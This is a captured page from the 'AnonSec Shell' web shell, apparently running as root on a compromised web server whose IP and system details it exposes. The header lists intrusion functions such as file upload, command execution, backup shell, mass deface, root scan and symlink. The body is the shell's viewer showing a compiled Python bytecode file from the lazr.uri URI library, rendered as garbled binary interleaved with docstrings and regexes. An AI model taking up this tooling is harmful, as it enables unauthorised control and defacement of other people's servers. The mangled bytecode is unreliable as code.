AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/lazr/uri/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/lazr/uri/__pycache__/_uri.cpython-310.pyc
o

�^K�
@s*dZeZgd�ZddlZzeWneyeZYnwidd�dd�dd	�d
d�dd
�dd�dd�dd�dd�dd�dd�dd�dd�dd�dd �d!d"�d#d$�id%d&�d'd(�d)d*�d+d,�d-d.�d/d0�d1d2�d3d2�d4d5�d6d7�d8d9�d:d;�d<d=�d>d=�d?d@�dAd@�dBdC��d@ddDdEdDdDdFdDdG��ZdHZ	dIZ
dJZdKZdLe
eefZ
dMZdNZdOZdPeZdQZdRe
eeeefZdSe
eeeefZdTZdUZdVe	eeefZdWeeefZe�eej�Ze�eej�ZdXdY�ZdZd[�Zd\d]�ZGd^d_�d_e �Z!Gd`da�da�Z"dbdcddiZ#e�e#ejej$B�Z%e�de�Z&dfdg�Z'dS)hz/Functions for working with generic syntax URIs.)�URI�InvalidURIError�find_uris_in_text�possible_uri_re�merge�remove_dot_segments�N�acap�674�dav�80�dict�2628�dns�53�ftp�21�go�1096�gopher�70�h323�1720�http�https�443�imap�143�ipp�631z	iris.beep�702�ldap�389�mtqp�1038�mupdate�3905�nfs�2049�nntp�119�pop�110�rtsp�554�sip�5060�sips�5061�snmp�161z	soap.beep�605z
soap.beeps�telnet�23�tftp�69�tip�3372�vemmi�575zxmlrpc.beep�602zxmlrpc.beepszz39.50r�210zz39.50s�prospero�1525�22�6667�3690)�wais�bzr+http�bzr+ssh�irc�sftp�ssh�svn�svn+sshz(?P<scheme>[a-z][-a-z0-9+.]*)z9(?P<userinfo>(?:[-a-z0-9._~!$&\'()*+,;=:]|%[0-9a-f]{2})*)zs(?P<host>[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|(?:[-a-z0-9._~!$&\'()*+,;=]|%[0-9a-f]{2})*|\[[0-9a-z:.]+\])z(?P<port>[0-9]*)z!(?P<authority>(?:%s@)?%s(?::%s)?)z2(?:/(?:[-a-z0-9._~!$&\'()*+,;=:@]|%[0-9a-f]{2})*)*z](?:[-a-z0-9._~!$&\'()*+,;=@]|%[0-9a-f]{2})+(?:/(?:[-a-z0-9._~!$&\'()*+,;=:@]|%[0-9a-f]{2})*)*z^(?:[-a-z0-9._~!$&\'()*+,;=:@]|%[0-9a-f]{2})+(?:/(?:[-a-z0-9._~!$&\'()*+,;=:@]|%[0-9a-f]{2})*)*z/(?:%s)?�z(?P<hierpart>//%s%s|%s|%s|%s)z!(?P<relativepart>//%s%s|%s|%s|%s)z=(?P<query>(?:[-a-z0-9._~!$&\'()*+,;=:@/?\[\]]|%[0-9a-f]{2})*)z<(?P<fragment>(?:[-a-z0-9._~!$&\'()*+,;=:@/?]|%[0-9a-f]{2})*)z%s:%s(?:\?%s)?(?:#%s)?$z%s(?:\?%s)?(?:#%s)?$cCs2|r
|dkr
d|S|�d�}|d|d�|S)a/Merge two URI path components into a single path component.

    Follows rules specified in Section 5.2.3 of RFC 3986.

    The algorithm in the RFC treats the empty basepath edge case
    differently for URIs with and without an authority section, which
    is why the third argument is necessary.
    rL�/N�)�rfind)�basepath�relpath�
has_authority�slash�rT�//usr/lib/python3/dist-packages/lazr/uri/_uri.pyr�s	
rcCs�g}|rz|�d�r|dd�}nh|�d�r|dd�}n\|�d�s%|dkr.d|dd�}nJ|�d	�s7|d
krId|dd�}t|�dkrH|d
=n/|dvrPd}n(|�d�r\|�dd�}n|�d�}|dkrit|�}|�|d|��||d�}|sd�|�S)zqRemove '.' and '..' segments from a URI path.

    Follows the rules specified in Section 5.2.4 of RFC 3986.
    z../�Nz./�z/./z/.rMz/../z/..�r���)�.z..rLrN)�
startswith�len�find�append�join)�path�outputrSrTrTrUr�s0

�

�
rc	Cs�|�d�}d}t|�D]=\}}|dkrqzt|dd�d�}Wn	ty(Yqwt|�|vr<t|�|dd�||<qd||dd�f||<qd�|�S)	z�Return a version of 's' where no unreserved characters are encoded.

    Unreserved characters are defined in Section 2.3 of RFC 3986.

    Percent encoded sequences are normalised to upper case.
    �%zBABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~rNrW�z%%%02X%srL)�split�	enumerate�int�
ValueError�chrr_)�string�result�
unreserved�index�item�chrTrTrU�normalise_unreserved�s
�
roc@seZdZdZdS)rzInvalid URIN)�__name__�
__module__�__qualname__�__doc__rTrTrTrUr�src@s�eZdZdZ		d#dd�Zdd�Zedd��Zed	d
��Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�ZdS)$rz�A class that represents a URI.

    This class can represent arbitrary URIs that conform to the
    generic syntax described in RFC 3986.
    Nc	Cs�|dur |dur |dur |dur |dur |dur |dur |dus(|dus(Jd��|dur�t|t�rDz|�d�WntyCtd��wt�|�}	|	durStd|��|	�d�|_|	�d�|_	|	�d�|_
|	�d	�|_|	�d
�}
|	�d�}|dur}|
|_n|
dt
|�d�|_|	�d
�|_|	�d�|_n5|dur�td��|dur�|dus�|dur�td��|dur�td��||_||_	||_
||_||_||_||_|��|jdvr�|j
s�td|j��dSdS)z�Create a URI instance.

        Can be called with either a string URI or the component parts
        of the URI as keyword arguments.

        In either case, all arguments are expected to be appropriately
        URI encoded.
        NzeURI() must be called with a single string argument or with URI components given as keyword arguments.�ASCIIz%URIs must consist of ASCII charactersz"%s" is not a valid URI�scheme�userinfo�host�port�hierpart�	authorityrW�query�fragmentzURIs must have a schemez*host must be given if userinfo or port arezURIs must have a path)
rrrrr5r�mmsr,rJrK�bzrrErFz%s URIs must have a host name)�
isinstance�unicode�encode�UnicodeEncodeErrorr�uri_pat�match�grouprurvrwrxr`r\r{r|�
_normalise)�self�urirurvrwrxr`r{r|r�ryrzrTrTrU�__init__�sz
�������
��


�
���zURI.__init__cCs�|j��|_|jdurt|j�|_|jdurt|j���|_|jdkr'd|_n|jdur8|jt�|j�kr8d|_|jdurE|jdkrEd|_tt	|j��|_|j
durXt|j
�|_
|jduret|j�|_dSdS)z(Perform normalisation of URI components.NrLrM)ru�lowerrvrorwrx�
_default_port�getr`rr{r|�r�rTrTrUr�s$





�zURI._normalisecCsH|jdurdS|j}|jdurd|j|f}|jdur"d||jf}|S)zThe authority part of the URINz%s@%s�%s:%s)rwrvrx�r�rzrTrTrUrz3s


z
URI.authoritycCs"|j}|dur
|jSd||jfS)z The hierarchical part of the URINz//%s%s)rzr`r�rTrTrU�	hier_part?sz
URI.hier_partcCsDd|j|jf}|jdur|d|j7}|jdur |d|j7}|S)Nr�z?%sz#%s)rur�r{r|)r�r�rTrTrU�__str__Hs

zURI.__str__cCsd|jjt|�fS)Nz%s(%r))�	__class__rp�strr�rTrTrU�__repr__PszURI.__repr__cCsLt||j�r$|j|jko#|j|jko#|j|jko#|j|jko#|j|jkStS�N)rr�rurzr`r{r|�NotImplemented)r��otherrTrTrU�__eq__Ss
�
�
�
�z
URI.__eq__cCs|�|�}|tkrtS|Sr�)r�r�)r�r��equalrTrTrU�__ne__]s
z
URI.__ne__cCst|j|j|j|j|jf�Sr�)�hashrurzr`r{r|r�rTrTrU�__hash__ds�zURI.__hash__c	KsF|s|St|j|j|j|j|j|j|jd�}|�|�|j	di|��S)z;Replace one or more parts of the URI, returning the result.)rurvrwrxr`r{r|NrT)
rrurvrwrxr`r{r|�updater�)r��parts�	basepartsrTrTrU�replacehs�
zURI.replacecCs~z|�|�WStyYnwt�|�}|durtd��t|jd�}|�d�}|durZ|�d�|d<|�d�|d<|�d�|d<t|�d�d	t|�d��|d
<|�d�|d<nV|�d�}|�d�}|dkr||j	|d
<|durv||d<n+|j
|d<n%|�d
�r�t|�|d
<nt|j	||j
dud�|d
<t|d
�|d
<||d<|j|d<|j
|d<|j|d<|�d�|d<|jdi|��S)z�Resolve the given URI reference relative to this URI.

        Uses the rules from Section 5.2 of RFC 3986 to resolve the new
        URI.
        NzInvalid relative reference)rurzrvrwrx�relativepartrWr`r{rLrM)rRr|rT)r�r�relative_ref_patr�rrur�rr\r`r{r[rrwrvrx)r��	referencer�r�rzr`r{rTrTrU�resolvewsJ�

�





�


zURI.resolvecCs|�d�rJ�|���|�S)z�Append the given path to this URI.

        The path must not start with a slash, but a slash is added to
        base URI (before appending the path), in case it doesn't end
        with a slash.
        rM)r[�ensureSlashr�)r�r`rTrTrUr^�sz
URI.appendcCsf|j|jks|j|jkrdS|j|jkrdS|j}|�d�s"|d7}|j}|�d�s.|d7}|�|�S)z9Returns True if the URI 'other' is contained by this one.FTrM)rurzr`�endswithr[)r�r�rP�	otherpathrTrTrU�contains�s
�


zURI.containscCs<t|�dkrdS|j�d�}|�d�}|t|�d�|kS)z@Return True if the given domain name a parent of the URL's host.rTrZN)r\rwrd)r��domain�our_segments�domain_segmentsrTrTrU�underDomain�s

zURI.underDomaincCs"|j�d�r|S|j|jdd�S)z:Return a URI with the path normalised to end with a slash.rM�r`)r`r�r�r�rTrTrUr��szURI.ensureSlashcCs$|j�d�r|j|j�d�d�S|S)z>Return a URI with the path normalised to not end with a slash.rMr�)r`r�r��rstripr�rTrTrU�
ensureNoSlash�szURI.ensureNoSlash)NNNNNNNN)rprqrrrsr�r��propertyrzr�r�r�r�r�r�r�r�r^r�r�r�r�rTrTrTrUr�s,
�A


2
ra�
\b
(?:about|gopher|http|https|sftp|news|ftp|mailto|file|irc|jabber|xmpp)
:
(?:
  (?:
    # "//" authority path-abempty
    //
    (?: # userinfo
      [%(unreserved)s:]*
      @
    )?
    (?: # host
      \d+\.\d+\.\d+\.\d+ |
      [%(unreserved)s]*
    )
    (?: # port
      : \d*
    )?
    (?: / [%(unreserved)s:@]* )*
  ) | (?:
    # path-absolute
    /
    (?: [%(unreserved)s:@]+
        (?: / [%(unreserved)s:@]* )* )?
  ) | (?:
    # path-rootless
    [%(unreserved)s@]
    [%(unreserved)s:@]*
    (?: / [%(unreserved)s:@]* )*
  )
)
(?: # query
  \?
  [%(unreserved)s:@/\?\[\]]*
)?
(?: # fragment
  \#
  [%(unreserved)s:@/\?]*
)?
rkz-a-zA-Z0-9._~%!$&'()*+,;=z
([,.?:);>]+)$c	csP�t�|�D]}|��}t�d|�}zt|�}Wn	ty!Yqw|VqdS)z8Scan a block of text for URIs, and yield the ones found.rLN)�possible_uri_pat�finditerr��uri_trailers_pat�subrr)�textr��
uri_stringr�rTrTrUrAs���r)(rs�type�
__metaclass__�__all__�rer��	NameErrorr�r��	scheme_re�userinfo_re�host_re�port_re�authority_re�path_abempty_re�path_noscheme_re�path_rootless_re�path_absolute_re�
path_empty_re�hier_part_re�relative_part_re�query_re�fragment_re�uri_re�relative_ref_re�compile�
IGNORECASEr�r�rrro�	Exceptionrrr�VERBOSEr�r�rrTrTrTrU�<module>s	��������	�
���
������������������� �!�"�%�&�4�����A(�*


Anon7 - 2022
AnonSec Team